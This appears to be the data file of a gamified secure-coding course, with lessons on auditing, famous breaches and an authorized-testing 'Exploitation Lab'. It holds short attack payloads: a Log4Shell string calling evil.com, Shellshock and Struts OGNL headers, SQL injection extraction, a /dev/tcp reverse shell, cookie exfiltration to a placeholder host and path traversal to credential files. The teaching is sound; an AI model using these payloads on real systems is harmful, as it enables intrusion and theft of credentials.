      why:'If the verifier trusts the token\'s <code class="inl">alg</code>, an attacker signs an HS256 token with the known <b>public</b> key and the server accepts it. Pin the expected algorithm to prevent this.'}
   ]}
  ]
 },
 {
  id:'audit', name:'Auditor\'s Eye', tag:'META', icon:'👁', accent:'amber',
  sub:'The cross-language instincts that turn reading into finding.',
  lessons:[
   {id:'a1', name:'The source-to-sink method', xp:30, cards:[
     {t:'md',html:'<p>Every audit is the same loop, in any language:</p><p><b>1. Find sources</b> — where untrusted input enters (params, headers, files, network).<br><b>2. Find sinks</b> — dangerous operations (SQL, shell, HTML, file paths, deserialization).<br><b>3. Trace the path</b> between them.<br><b>4. Check for sanitization</b> on that path. None or weak? Likely a bug.</p><p>You grep for sinks first, then walk <i>backwards</i> to see if input reaches them.</p>'},
     {t:'quiz',q:'Best strategy for auditing a large unfamiliar codebase for injection bugs?',
      opts:['Read every file start to finish','Grep for dangerous sinks, then trace backwards to see if untrusted input reaches them','Only read the comments','Run it and see if it crashes'],a:1,
      why:'Sinks are a short, known list. <b>Grep the sinks, trace backwards to a source</b> — far faster than reading everything, and it centers the actual danger.'}
   ]},
   {id:'a2', name:'Spotting outdated & vulnerable libraries', xp:30, cards:[
     {t:'md',html:'<p>Much real-world risk is not custom code — it is <b>dependencies</b>. Learn to read the manifests:</p><p>• PHP: <code class="inl">composer.json</code> / <code class="inl">composer.lock</code><br>• .NET: <code class="inl">packages.config</code> / <code class="inl">.csproj</code><br>• JS: <code class="inl">package.json</code> / <code class="inl">package-lock.json</code><br>• Python: <code class="inl">requirements.txt</code></p><p>A <b>pinned old version</b> is your lead. Cross-reference it against known CVEs (e.g. the CVE database or GitHub Advisories). Tools like <code class="inl">npm audit</code> and OWASP Dependency-Check automate this.</p>'},
     {t:'read',lang:'js',label:'package.json — a lead',code:'"dependencies": {\n  "lodash": "4.17.4",        // known prototype-pollution CVEs < 4.17.12\n  "express": "4.16.0"\n}',note:'A specific old version is a gift: look it up in an advisory database. Version <code class="inl">4.17.4</code> of lodash predates fixes for several CVEs.'},
     {t:'quiz',q:'You find <code class="inl">"lodash":"4.17.4"</code> pinned in package.json. Best next step?',
      opts:['Assume it is fine','Check that exact version against a CVE / advisory database for known vulnerabilities','Delete package.json','Upgrade blindly without testing'],a:1,
      why:'A pinned version maps directly to published <b>CVEs/advisories</b>. Confirm whether that version is affected and whether the vulnerable code path is actually reachable.'}
   ]},
   {id:'a3', name:'Weak crypto & hardcoded secrets', xp:30, cards:[
     {t:'md',html:'<p>Two findings you can spot by <b>reading</b>, no exploit needed:</p><p><b>Weak crypto</b> — <code class="inl">MD5</code>/<code class="inl">SHA1</code> for passwords, <code class="inl">DES</code>, <code class="inl">ECB</code> mode, <code class="inl">Math.random()</code> for tokens.<br><b>Hardcoded secrets</b> — API keys, passwords, or private keys written straight into source.</p>'},
     {t:'read',lang:'python',label:'Two findings in three lines',code:'API_KEY = "sk_live_51H8xQ2eZ..."      # hardcoded secret\nhashed = hashlib.md5(password).hexdigest()  # MD5 for passwords',note:'Secrets in source leak through repos and backups. MD5 is fast and broken for password hashing — bcrypt/argon2 are the expected choices.'},
     {t:'quiz',q:'Which is a legitimate reading-only finding, no runtime test required?',
      opts:['A hardcoded API key in source combined with MD5 password hashing','A well-named variable','A function with comments','Use of prepared statements'],a:0,
      why:'Both <b>hardcoded secrets</b> and <b>MD5 for passwords</b> are visible statically. They are reliable, high-signal findings you report straight from the code.'}
   ]},
   {id:'a4', name:'Race conditions (TOCTOU)', xp:30, cards:[
     {t:'md',html:'<p>A <b>race condition</b> happens when the result depends on the timing of concurrent operations. The classic form is <b>TOCTOU</b> — time-of-check to time-of-use: code checks a condition, then acts on it, but the state can change in between.</p><p>Example: two requests both read a balance of $100, both pass the "enough funds?" check, and both withdraw — spending $200. The tell is <b>check-then-act</b> on shared state (a balance, a coupon, a file) with no lock or atomic operation.</p>'},
     {t:'read',lang:'python',label:'Check-then-act vs atomic',code:'# vulnerable: a gap between the check and the update\nif account.balance >= amount:      # TIME OF CHECK\n    account.balance -= amount       # TIME OF USE (another request slips in here)\n\n# safer: one atomic, conditional update in the database\n#   UPDATE accounts SET balance = balance - :amt\n#    WHERE id = :id AND balance >= :amt',note:'Concurrent requests can both pass the check before either updates. Fix with atomic DB operations, row locks (<code class="inl">SELECT ... FOR UPDATE</code>), or unique constraints — not a check followed by a separate write.'},
     {t:'quiz',q:'What is the flaw in "check the balance, then subtract it" as two separate steps?',
      opts:['It is too slow','Between the check and the update a concurrent request can also pass the check — a TOCTOU race','Subtraction is imprecise','It uses too much memory'],a:1,
      why:'<b>TOCTOU</b>: the state can change between the check and the use, so two concurrent requests both pass the check and both act. Use an atomic conditional update or a lock.'}
   ]},
   {id:'a5', name:'Grepping for sinks', xp:30, cards:[
     {t:'md',html:'<p>The fastest way into an unfamiliar codebase is not to read all of it — it is to <b>grep for the short list of dangerous sinks</b>, then trace each hit backwards to a source. Tools scale this up: <b>ripgrep</b> for speed, <b>semgrep</b> for language-aware rules, and <b>CodeQL</b> for deep dataflow.</p>'},
     {t:'read',lang:'bash',label:'hunt the sinks',code:'# grep the repo for dangerous sinks, then trace each hit to a source\n$ rg -n "system|exec|shell_exec|child_process"    # shell / RCE\n$ rg -n "query|execute|Sprintf.*SELECT"           # SQL\n$ rg -n "innerHTML|render_template_string|pickle" # HTML / template / deserialize\n\n$ semgrep --config auto .    # language-aware rules with dataflow',note:'Sinks are a short, known list — grep them first, then walk each hit back to see if untrusted input reaches it. <code class="inl">semgrep</code> and CodeQL add dataflow so you get fewer false positives.'},
     {t:'quiz',q:'Which tool adds dataflow analysis to cut false positives when hunting sinks?',
      opts:['plain grep','semgrep / CodeQL','cat','ls'],a:1,
      why:'<b>semgrep</b> and <b>CodeQL</b> understand code structure and trace data from source to sink, so they flag reachable bugs rather than every text match — far fewer false positives than plain grep.'}
   ]}
  ]
 },
 {
  id:'breach', name:'Breach Files', tag:'REAL-WORLD', icon:'🔥', accent:'amber',
  sub:'Real vulnerabilities that hacked real companies — and the code behind them.',
  lessons:[
   {id:'b1', name:'Log4Shell — logging turned into RCE', xp:40, cards:[
     {t:'md',html:'<p><b>Log4Shell</b> (CVE-2021-44228, December 2021) may be the most widespread vulnerability ever. <b>Log4j</b>, a logging library embedded in countless Java apps, evaluated special <code class="inl">${...}</code> lookups <i>inside log messages</i>. One of them, <code class="inl">${jndi:...}</code>, would reach out over the network and load a remote Java class — remote code execution.</p><p>The frightening part: you did not need to attack a login form. If any attacker-controlled string was ever <b>logged</b> — a username, a <code class="inl">User-Agent</code> header, a chat message — the exploit fired.</p>'},
     {t:'read',lang:'java',label:'Java — the innocent-looking trigger',code:'import org.apache.logging.log4j.Logger;\n\nString ua = request.getHeader("User-Agent");\nlogger.info("request from " + ua);   // just logging attacker input...\n// User-Agent: ${jndi:ldap://evil.com/x}  ->  Log4j fetches & runs remote code',note:'Nothing here looks dangerous — it is one log line. The flaw lived <b>inside Log4j</b>, which parsed <code class="inl">${jndi:...}</code> in the message. Lesson: a vulnerable <b>dependency</b> can turn ordinary code into RCE. The fix was upgrading Log4j.'},
     {t:'quiz',q:'Why was Log4Shell so dangerous and so hard to spot in your own code?',
      opts:['It required admin access','Merely logging attacker-controlled text triggered RCE — the bug was in the logging library, not your code','It only affected old Windows','It needed a database'],a:1,
      why:'The vulnerability was in the <b>Log4j dependency</b>\'s handling of <code class="inl">${jndi:}</code> lookups. Any logged attacker input became an exploit — which is why auditing dependencies matters as much as auditing your own code.'}
   ]},
   {id:'b2', name:'Heartbleed — a missing length check', xp:45, cards:[
     {t:'md',html:'<p><b>Heartbleed</b> (CVE-2014-0160, 2014) was a flaw in <b>OpenSSL</b>, the library securing much of the web. The TLS "heartbeat" lets a client send a small payload and asks the server to echo it back, along with a <b>length</b> the client specifies.</p><p>OpenSSL trusted that length without checking it against the actual payload size. Ask it to echo 64KB when you sent 1 byte, and the server returns 64KB of adjacent <b>memory</b> — which could hold passwords, session cookies, or the server\'s private key.</p>'},
     {t:'read',lang:'cpp',label:'C — the bug, simplified',code:'/* attacker controls payload_len, independent of the real data sent */\nunsigned char *buffer = malloc(payload_len);\nmemcpy(buffer, payload, payload_len);   // no check: payload_len may exceed real payload\n/* buffer now holds bytes from past the input -> memory disclosure */',note:'This is an <b>over-read</b>: a missing <i>bounds check</i> on an attacker-supplied length. The fix added one check that <code class="inl">payload_len</code> did not exceed the data actually received. One <code class="inl">if</code> statement.'},
     {t:'quiz',q:'What class of bug was Heartbleed?',
      opts:['SQL injection','A missing bounds check on an attacker-controlled length, causing a memory over-read (disclosure)','A weak password','Cross-site scripting'],a:1,
      why:'Heartbleed trusted a client-supplied <b>length</b> and copied that many bytes regardless of the real payload size — leaking adjacent memory. It is the C/C++ reading skill applied to world-shaking code.'}
   ]},
   {id:'b3', name:'Capital One — SSRF to cloud metadata', xp:45, cards:[
     {t:'md',html:'<p>In 2019, an attacker stole the data of roughly <b>100 million</b> Capital One customers. The entry point was a <b>Server-Side Request Forgery</b> against a misconfigured firewall/proxy.</p><p>The attacker made the server request the AWS <b>metadata endpoint</b> <code class="inl">http://169.254.169.254/</code>, which returns the temporary <b>IAM credentials</b> of the server\'s cloud role. With those keys, they read the company\'s storage buckets.</p>'},
     {t:'read',lang:'python',label:'The pattern that made it possible',code:'# The server could be tricked into fetching an attacker-chosen URL:\n#   http://169.254.169.254/latest/meta-data/iam/security-credentials/\n# which returns temporary AWS keys for the instance role.\nresp = requests.get(user_supplied_url)   # SSRF -> cloud credential theft',note:'This ties two lessons together: an <b>SSRF</b> reaching the cloud <b>metadata</b> service. Modern defenses: enforce IMDSv2, block <code class="inl">169.254.169.254</code>, and allowlist outbound destinations.'},
     {t:'quiz',q:'How did an SSRF turn into a 100-million-record breach at Capital One?',
      opts:['It crashed the server','SSRF reached the cloud metadata endpoint, which returned IAM credentials used to read stored data','It guessed the admin password','It exploited a buffer overflow'],a:1,
      why:'The SSRF fetched <code class="inl">169.254.169.254</code> metadata to steal the instance\'s <b>IAM role credentials</b>, then used them against storage. SSRF + cloud metadata is a critical combination to recognize.'}
   ]},
   {id:'b4', name:'Shellshock — Bash parses env vars', xp:40, cards:[
     {t:'md',html:'<p><b>Shellshock</b> (CVE-2014-6271, 2014) was a flaw in GNU <b>Bash</b>. Bash stored exported functions in environment variables — and kept executing any commands that <i>trailed</i> the function definition. So if attacker-controlled data reached a Bash environment variable, it ran commands.</p><p>The classic vector was <b>CGI</b> web scripts, which copy HTTP headers (like <code class="inl">User-Agent</code>) into environment variables before invoking Bash.</p>'},
     {t:'read',lang:'bash',label:'the magic value',code:'# a function definition followed by a trailing command:\n$ env x=\'() { :; }; echo PWNED\' bash -c "true"\nPWNED\n\n# over HTTP against a vulnerable CGI script:\n#   User-Agent: () { :; }; /bin/cat /etc/passwd',note:'The <code class="inl">() { :; };</code> is an empty function; everything after it ran when Bash imported the variable. Any path that put attacker input into a Bash env var — especially CGI — became RCE. The fix was patching Bash.'},
     {t:'quiz',q:'What did Shellshock abuse?',
      opts:['A SQL query','Bash executing trailing commands after a function definition stored in an environment variable','A weak password','A buffer overflow'],a:1,
      why:'Bash kept running commands appended after an exported function in an environment variable. When attacker input reached such a variable (notably via CGI headers), it executed — remote code execution.'}
   ]},
   {id:'b5', name:'Equifax — Struts & a header', xp:45, cards:[
     {t:'md',html:'<p>The 2017 <b>Equifax</b> breach exposed about <b>147 million</b> people. The entry point was Apache <b>Struts</b> (CVE-2017-5638): Struts mishandled a malformed <code class="inl">Content-Type</code> header and evaluated it as an <b>OGNL</b> expression — an expression language — so a crafted header ran code (RCE). A patch had been available for months but was not applied in time.</p>'},
     {t:'read',lang:'java',label:'a header that runs code',code:'// a malicious Content-Type carrying an OGNL expression:\nContent-Type: %{(#cmd=\'id\').(#p=new java.lang.ProcessBuilder(#cmd))...}\n// Struts evaluated the header -> the command ran on the server',note:'Two lessons at once: a <b>vulnerable dependency</b> (Struts) turned a header into RCE, and an <b>available patch</b> went unapplied. Auditing dependencies and patching promptly matter as much as secure code.'},
     {t:'quiz',q:'How did the Equifax breach begin?',
      opts:['A phishing email','A crafted Content-Type header exploited a known, unpatched Apache Struts RCE (OGNL)','A stolen laptop','A weak admin password'],a:1,
      why:'Attackers sent a malicious <code class="inl">Content-Type</code> header that Struts evaluated as an OGNL expression, achieving RCE. The flaw (CVE-2017-5638) was already patched upstream but not deployed in time.'}
   ]}
  ]
 },
 {
  id:'exploit', name:'Exploitation Lab', tag:'OFFENSIVE', icon:'⚔', accent:'amber',
  sub:'Turn a spotted bug into proof of impact. For authorized testing, CTFs and labs only.',
  lessons:[
   {id:'ex1', name:'SQL injection: extracting data', xp:40, cards:[
     {t:'md',html:'<p><b>For use only on systems you own or are authorized to test.</b> Once you can inject SQL, the next step is proving impact — reading data the app never meant to expose.</p><p>The main techniques:</p><p>• <b>UNION-based</b> — append <code class="inl">UNION SELECT</code> to pull other tables into the results.<br>• <b>Blind boolean</b> — when no data is echoed, ask true/false questions and watch the page change.<br>• <b>Blind time-based</b> — use <code class="inl">SLEEP()</code> so the database pauses when a condition is true.</p>'},
     {t:'read',lang:'sql',label:'UNION-based extraction',code:'-- vulnerable query:  ...WHERE id = [input]\n1 UNION SELECT username, password FROM users -- \n-- the injected row returns credentials alongside the normal result',note:'UNION needs the same column count and compatible types; attackers first find the count with <code class="inl">ORDER BY</code>. Tools like sqlmap automate this — understanding it by hand is the skill. The upstream fix is always parameterized queries.'},
     {t:'quiz',q:'What does appending <code class="inl">UNION SELECT username, password FROM users</code> achieve?',
      opts:['Deletes the users table','Merges attacker-chosen columns from another table into the query results','Logs the attacker in automatically','Nothing'],a:1,
      why:'A <b>UNION</b> injection appends a second result set, letting the attacker read arbitrary columns and tables the query never intended to expose.'}
   ]},
   {id:'ex2', name:'Command injection: getting a shell', xp:40, cards:[
     {t:'md',html:'<p><b>Authorized testing only.</b> When user input reaches a shell, an attacker first proves execution, then upgrades to interactive control.</p><p>• <b>Prove it</b> — chain a harmless command: <code class="inl">; id</code> or <code class="inl">| whoami</code>.<br>• <b>Out-of-band</b> — if output is not shown, trigger a delay or a DNS/HTTP callback (<code class="inl">; sleep 5</code>).<br>• <b>Upgrade</b> — a <b>reverse shell</b> makes the target connect back to a listener the tester controls.</p>'},
     {t:'read',lang:'php',label:'From injection to callback',code:'// sink:  system("ping -c1 " . $host);\n// prove execution:    8.8.8.8; id\n// blind, time-based:   8.8.8.8; sleep 5\n// reverse shell (concept):  host; bash -i >& /dev/tcp/TESTER_IP/PORT 0>&1',note:'The reverse-shell payload makes the server open a connection back to the tester listener, giving interactive execution. Defence: never pass user input to a shell, allowlist arguments, and filter egress. Only ever run against authorized targets.'},
     {t:'quiz',q:'After confirming command injection, what does a <b>reverse shell</b> do?',
      opts:['Encrypts the server','Makes the target connect back to the tester machine for interactive control','Resets the admin password','Deletes the logs'],a:1,
      why:'A reverse shell has the target initiate an outbound connection to the tester listener, giving interactive command execution — the proof-of-impact step in an authorized test. Defence: keep user input out of shells and filter egress.'}
   ]},
   {id:'ex3', name:'XSS: stealing the session', xp:40, cards:[
     {t:'md',html:'<p><b>Authorized testing only.</b> A reflected or stored XSS becomes account takeover when the injected script acts as the victim.</p><p>• <b>Cookie theft</b> — if the session cookie lacks <code class="inl">HttpOnly</code>, script can read <code class="inl">document.cookie</code> and exfiltrate it.<br>• <b>Session riding</b> — even with <code class="inl">HttpOnly</code>, the script can send authenticated requests <i>as the victim</i> (change email, add an admin).<br>• Defences: output encoding, <code class="inl">HttpOnly</code> + <code class="inl">SameSite</code> cookies, and a strong Content-Security-Policy.</p>'},
     {t:'read',lang:'js',label:'Proof-of-impact payloads',code:'// steal a non-HttpOnly cookie:\nnew Image().src = "https://tester.example/c?" + document.cookie;\n// or ride the victim session directly:\nfetch("/account/email", {method:"POST", body:"new=attacker@evil.test"});',note:'The first payload exfiltrates the cookie; the second rides the existing session to change account data. <code class="inl">HttpOnly</code> blocks cookie reads but not session-riding — output encoding and CSP are the real fixes.'},
     {t:'quiz',q:'How does the <code class="inl">HttpOnly</code> cookie flag limit XSS impact?',
      opts:['It blocks all XSS','It stops script reading the cookie via document.cookie (but not session-riding requests)','It encrypts the page','It disables JavaScript'],a:1,
      why:'<b>HttpOnly</b> hides the cookie from JavaScript, stopping direct theft — but injected script can still send authenticated requests as the victim. Fix the XSS itself with output encoding and CSP.'}
   ]},
   {id:'ex4', name:'Blind SQL injection', xp:45, cards:[
     {t:'md',html:'<p><b>Authorized testing only.</b> Sometimes an injectable query returns no visible data and no error — but you can still extract information by <b>inference</b>.</p><p>• <b>Boolean-based</b> — inject a condition and watch whether the response changes between <i>true</i> and <i>false</i>.<br>• <b>Time-based</b> — make the database pause when a condition is true, and measure the response time.</p><p>Ask one yes/no question per request and you can reconstruct data character by character.</p>'},
     {t:'read',lang:'sql',label:'Boolean & time-based probes',code:'-- boolean: does the admin password start with \'a\' ?\n\' AND substring(password,1,1) = \'a\' -- \n-- if the page renders the "true" state, the guess is right; else try \'b\'\n\n-- time-based: delay 5s only when the condition holds\n\' AND IF(substring(password,1,1) = \'a\', SLEEP(5), 0) -- ',note:'Automated tools (sqlmap) do this quickly, but the idea is pure inference — each request answers one true/false question. The upstream fix is always parameterized queries.'},
     {t:'quiz',q:'How does <b>time-based</b> blind SQL injection extract data with nothing shown on the page?',
      opts:['It reads the HTML source','It makes the database delay (SLEEP) when a guessed condition is true, inferring data from response time','It brute-forces the login form','It reads cookies'],a:1,
      why:'With no data echoed, the attacker infers it: a conditional <code class="inl">SLEEP</code> makes the server slow only when a guess is correct, revealing the value one character at a time.'}
   ]},
   {id:'ex5', name:'Deserialization gadget chains', xp:45, cards:[
     {t:'md',html:'<p><b>Authorized testing only.</b> Finding insecure deserialization is step one; <b>exploiting</b> it uses a <b>gadget chain</b> — a sequence of methods in libraries <i>already present</i> in the app that, when a crafted object is deserialized, chain together into something dangerous like running a command.</p><p>You rarely write the chain by hand — public tools generate payloads for known libraries: <b>ysoserial</b> (Java), <b>ysoserial.net</b> (.NET), <b>PHPGGC</b> (PHP).</p>'},
     {t:'read',lang:'java',label:'The concept',code:'// 1. app calls readObject() on attacker bytes   (the vulnerability)\n// 2. those bytes describe an object graph built from library classes\n// 3. as it is rebuilt, method calls chain together, e.g.\n//      Map -> Comparator -> Template -> Runtime.exec("...")   = RCE\n//\n// generate a payload:  java -jar ysoserial.jar CommonsCollections1 "id"',note:'The chain relies on classes on the app\'s classpath, so the fix is upstream: do not deserialize untrusted data, and use type allowlists. Removing the vulnerable library removes the gadgets.'},
     {t:'quiz',q:'What is a "gadget chain" in deserialization exploitation?',
      opts:['A hardware device','A sequence of methods in existing app/library classes that a crafted object triggers on deserialization to reach code execution','A kind of firewall','A password wordlist'],a:1,
      why:'A <b>gadget chain</b> strings together methods in classes already on the classpath so deserializing a crafted object reaches a dangerous call. Tools like <b>ysoserial</b> build these payloads; the defence is to never deserialize untrusted data.'}
   ]},
   {id:'ex6', name:'Buffer overflow 101', xp:45, cards:[
     {t:'md',html:'<p><b>Lab / authorized use only.</b> A stack buffer overflow can hijack execution. When a function runs, its local buffer and the <b>saved return address</b> sit together on the stack. Writing past the buffer overwrites that return address — control it, and when the function returns the CPU jumps wherever the attacker chose.</p><p>Modern defences raise the bar: <b>stack canaries</b> detect overwrites, <b>ASLR</b> randomizes addresses, and <b>NX/DEP</b> stops code running from the stack — so real exploits use techniques like <b>ROP</b>.</p>'},
     {t:'read',lang:'cpp',label:'the classic primitive',code:'void vuln(char *input) {\n    char buf[64];          // 64-byte buffer on the stack\n    strcpy(buf, input);    // > 64 bytes overflows into the saved return address\n}\n// overwrite the return address -> redirect execution when vuln() returns',note:'Overflow a stack buffer to overwrite the return address. Canaries, ASLR and NX/DEP make this harder; exploitation adapts with ROP and info leaks. For labs and authorized testing only.'},
     {t:'quiz',q:'In a classic stack buffer overflow, what does overwriting the saved return address achieve?',
      opts:['It speeds up the program','It redirects the CPU to attacker-chosen code when the function returns','It frees memory','It encrypts the stack'],a:1,
      why:'The saved return address decides where execution resumes after the function. Overwriting it with a controlled value redirects the CPU — the basis of stack-overflow exploitation.'}
   ]},
   {id:'ex7', name:'Path traversal to impact', xp:40, cards:[
     {t:'md',html:'<p><b>Authorized testing only.</b> A path-traversal read (<code class="inl">../</code>) is proven by pulling a known file, then escalated. Read <code class="inl">/etc/passwd</code>, app config, source, or cloud credentials; reading secrets (DB passwords, API keys) often leads straight to bigger access. In some stacks a <b>write</b> traversal plus <b>log poisoning</b> turns file read into RCE.</p>'},
     {t:'read',lang:'bash',label:'proof & escalation',code:'# read a known file to prove the traversal:\n?file=../../../../etc/passwd\n?file=../../app/config/database.yml      # DB credentials\n?file=../../../../proc/self/environ      # env vars / secrets\n# escalate: write into a web-executable path, or poison a log then include it',note:'Proof of impact = retrieving a sensitive file (credentials, source, cloud metadata). The fix is confining paths to a base directory and rejecting <code class="inl">..</code>. Authorized targets only.'},
     {t:'quiz',q:'What is a reliable way to prove a path-traversal vulnerability?',
      opts:['Refresh the page','Retrieve a known sensitive file (e.g. /etc/passwd) using ../ sequences','Change the password','Clear the cache'],a:1,
      why:'Pulling a known file such as <code class="inl">/etc/passwd</code> or a config file with credentials demonstrates real impact. Confine paths to a base directory and reject <code class="inl">..</code> to fix it.'}
   ]}
  ]
 }
];

/* =========================================================
   LESSON_REFS — authoritative "learn more" links per lesson.
   Rendered on the last card; open in a new tab.
   ========================================================= */
const LESSON_REFS = {
 'cb1':[{t:'cppreference: C',u:'https://en.cppreference.com/w/c'},{t:'GCC (GNU Compiler Collection)',u:'https://gcc.gnu.org/'}],
 'cb2':[{t:'GCC online documentation',u:'https://gcc.gnu.org/onlinedocs/'},{t:'GNU Make manual',u:'https://www.gnu.org/software/make/manual/make.html'}],
 'cb3':[{t:'cppreference: types',u:'https://en.cppreference.com/w/c/language/type'},{t:'cppreference: pointers',u:'https://en.cppreference.com/w/c/language/pointer'}],
 'cb4':[{t:'cppreference: statements',u:'https://en.cppreference.com/w/c/language/statements'}],
 'cb5':[{t:'cppreference: malloc',u:'https://en.cppreference.com/w/c/memory/malloc'},{t:'cppreference: string handling',u:'https://en.cppreference.com/w/c/string/byte'}],
 'cb6':[{t:'CWE-242: Use of gets()',u:'https://cwe.mitre.org/data/definitions/242.html'},{t:'cppreference: gets (removed)',u:'https://en.cppreference.com/w/c/io/gets'}],
 'go1':[{t:'Go: net/http',u:'https://pkg.go.dev/net/http'}],
 'go2':[{t:'Go: database/sql',u:'https://pkg.go.dev/database/sql'},{t:'OWASP: SQL Injection Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html'}],
 'go3':[{t:'Go: os/exec',u:'https://pkg.go.dev/os/exec'},{t:'OWASP: Command Injection',u:'https://owasp.org/www-community/attacks/Command_Injection'}],
 'go4':[{t:'Go: net/http',u:'https://pkg.go.dev/net/http'},{t:'OWASP: Server-Side Request Forgery',u:'https://owasp.org/www-community/attacks/Server_Side_Request_Forgery'}],
 'w7':[{t:'PortSwigger: CORS',u:'https://portswigger.net/web-security/cors'},{t:'MDN: Cross-Origin Resource Sharing',u:'https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS'}],
 'cr5':[{t:'PortSwigger: JWT attacks',u:'https://portswigger.net/web-security/jwt'},{t:'OWASP: JWT Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html'}],
 'a5':[{t:'Semgrep',u:'https://semgrep.dev/'},{t:'ripgrep',u:'https://github.com/BurntSushi/ripgrep'},{t:'OWASP Code Review Guide',u:'https://owasp.org/www-project-code-review-guide/'}],
 'b4':[{t:'NVD: CVE-2014-6271 (Shellshock)',u:'https://nvd.nist.gov/vuln/detail/CVE-2014-6271'}],
 'b5':[{t:'NVD: CVE-2017-5638 (Apache Struts)',u:'https://nvd.nist.gov/vuln/detail/CVE-2017-5638'}],
 'ex6':[{t:'CWE-121: Stack-based Buffer Overflow',u:'https://cwe.mitre.org/data/definitions/121.html'},{t:'OWASP: Buffer Overflow',u:'https://owasp.org/www-community/vulnerabilities/Buffer_Overflow'}],
 'ex7':[{t:'PortSwigger: File path traversal',u:'https://portswigger.net/web-security/file-path-traversal'},{t:'OWASP: Path Traversal',u:'https://owasp.org/www-community/attacks/Path_Traversal'}],
 'jsb1':[{t:'MDN: JavaScript',u:'https://developer.mozilla.org/en-US/docs/Web/JavaScript'},{t:'ECMAScript spec (TC39)',u:'https://tc39.es/ecma262/'}],
 'jsb2':[{t:'MDN: Console (DevTools)',u:'https://developer.mozilla.org/en-US/docs/Web/API/console'}],
 'jsb3':[{t:'MDN: Grammar and types',u:'https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types'}],
 'jsb4':[{t:'MDN: Working with objects',u:'https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects'},{t:'MDN: Control flow',u:'https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling'}],
 'jsb5':[{t:'MDN: Deprecated & obsolete features',u:'https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features'}],
 'nb1':[{t:'Node.js: About',u:'https://nodejs.org/en/about'},{t:'Node.js: The event loop',u:'https://nodejs.org/en/learn/asynchronous-work/event-loop-timers-and-nexttick'}],
 'nb2':[{t:'Node.js: Command-line options',u:'https://nodejs.org/api/cli.html'},{t:'Node.js: REPL',u:'https://nodejs.org/api/repl.html'}],
 'nb3':[{t:'Node.js: CommonJS modules',u:'https://nodejs.org/api/modules.html'},{t:'Node.js: ECMAScript modules',u:'https://nodejs.org/api/esm.html'}],
 'nb4':[{t:'npm: package.json',u:'https://docs.npmjs.com/cli/v10/configuring-npm/package-json'},{t:'npm: npm audit',u:'https://docs.npmjs.com/cli/v10/commands/npm-audit'}],
 'nb5':[{t:'Node.js: Buffer',u:'https://nodejs.org/api/buffer.html'},{t:'Node.js: Deprecated APIs',u:'https://nodejs.org/api/deprecations.html'}],
 'd5':[{t:'OWASP: Mass Assignment Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html'},{t:'Microsoft: Model binding in ASP.NET Core',u:'https://learn.microsoft.com/en-us/aspnet/core/mvc/models/model-binding'}],
 'ex4':[{t:'PortSwigger: Blind SQL injection',u:'https://portswigger.net/web-security/sql-injection/blind'}],
 'ex5':[{t:'PortSwigger: Insecure deserialization',u:'https://portswigger.net/web-security/deserialization'},{t:'ysoserial (Java gadget payloads)',u:'https://github.com/frohoff/ysoserial'}],
 'd4':[{t:'OWASP: XXE Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html'},{t:'Microsoft: XmlReaderSettings.DtdProcessing',u:'https://learn.microsoft.com/en-us/dotnet/api/system.xml.xmlreadersettings.dtdprocessing'},{t:'PortSwigger: XXE injection',u:'https://portswigger.net/web-security/xxe'}],
 'j3':[{t:'PortSwigger: Prototype pollution',u:'https://portswigger.net/web-security/prototype-pollution'}],
 'w5':[{t:'OWASP: CSRF Prevention Cheat Sheet',u:'https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html'},{t:'PortSwigger: CSRF',u:'https://portswigger.net/web-security/csrf'}],
 'w6':[{t:'OWASP: Unvalidated Redirects & Forwards',u:'https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html'},{t:'CWE-601: Open Redirect',u:'https://cwe.mitre.org/data/definitions/601.html'}],
 'a4':[{t:'CWE-367: TOCTOU Race Condition',u:'https://cwe.mitre.org/data/definitions/367.html'},{t:'PortSwigger: Race conditions',u:'https://portswigger.net/web-security/race-conditions'}],
 'pb8':[{t:'PHP Manual: Backward-incompatible changes in 7.0',u:'https://www.php.net/manual/en/migration70.incompatible.php'},{t:'PHP Manual: mysqli (the replacement)',u:'https://www.php.net/manual/en/book.mysqli.php'}],
 'pyb1':[{t:'Python: About',u:'https://www.python.org/about/'},{t:'The Python Tutorial',u:'https://docs.python.org/3/tutorial/'}],
 'pyb2':[{t:'Python: Using the interpreter',u:'https://docs.python.org/3/tutorial/interpreter.html'},{t:'Python: http.server',u:'https://docs.python.org/3/library/http.server.html'}],
 'pyb3':[{t:'Python Tutorial: An informal introduction',u:'https://docs.python.org/3/tutorial/introduction.html'}],
 'pyb4':[{t:'Python: Data structures',u:'https://docs.python.org/3/tutorial/datastructures.html'},{t:'Python: Control flow',u:'https://docs.python.org/3/tutorial/controlflow.html'}],
 'pyb5':[{t:'Python Packaging: Installing packages',u:'https://packaging.python.org/en/latest/tutorials/installing-packages/'},{t:'Python: venv',u:'https://docs.python.org/3/library/venv.html'}],
 'pyb6':[{t:'Sunsetting Python 2',u:'https://www.python.org/doc/sunset-python-2/'},{t:'What is New in Python 3.13 (removals)',u:'https://docs.python.org/3/whatsnew/3.13.html'}],
 'p5':[{t:'PHP Manual: Comparison operators',u:'https://www.php.net/manual/en/language.operators.comparison.php'},{t:'PHP Manual: Type comparison tables',u:'https://www.php.net/manual/en/types.comparisons.php'}],
 'c4':[{t:'CWE-134: Format String',u:'https://cwe.mitre.org/data/definitions/134.html'},{t:'OWASP: Format string attack',u:'https://owasp.org/www-community/attacks/Format_string_attack'}],
 'jv1':[{t:'Java: HttpServletRequest',u:'https://docs.oracle.com/javaee/7/api/javax/servlet/http/HttpServletRequest.html'}],
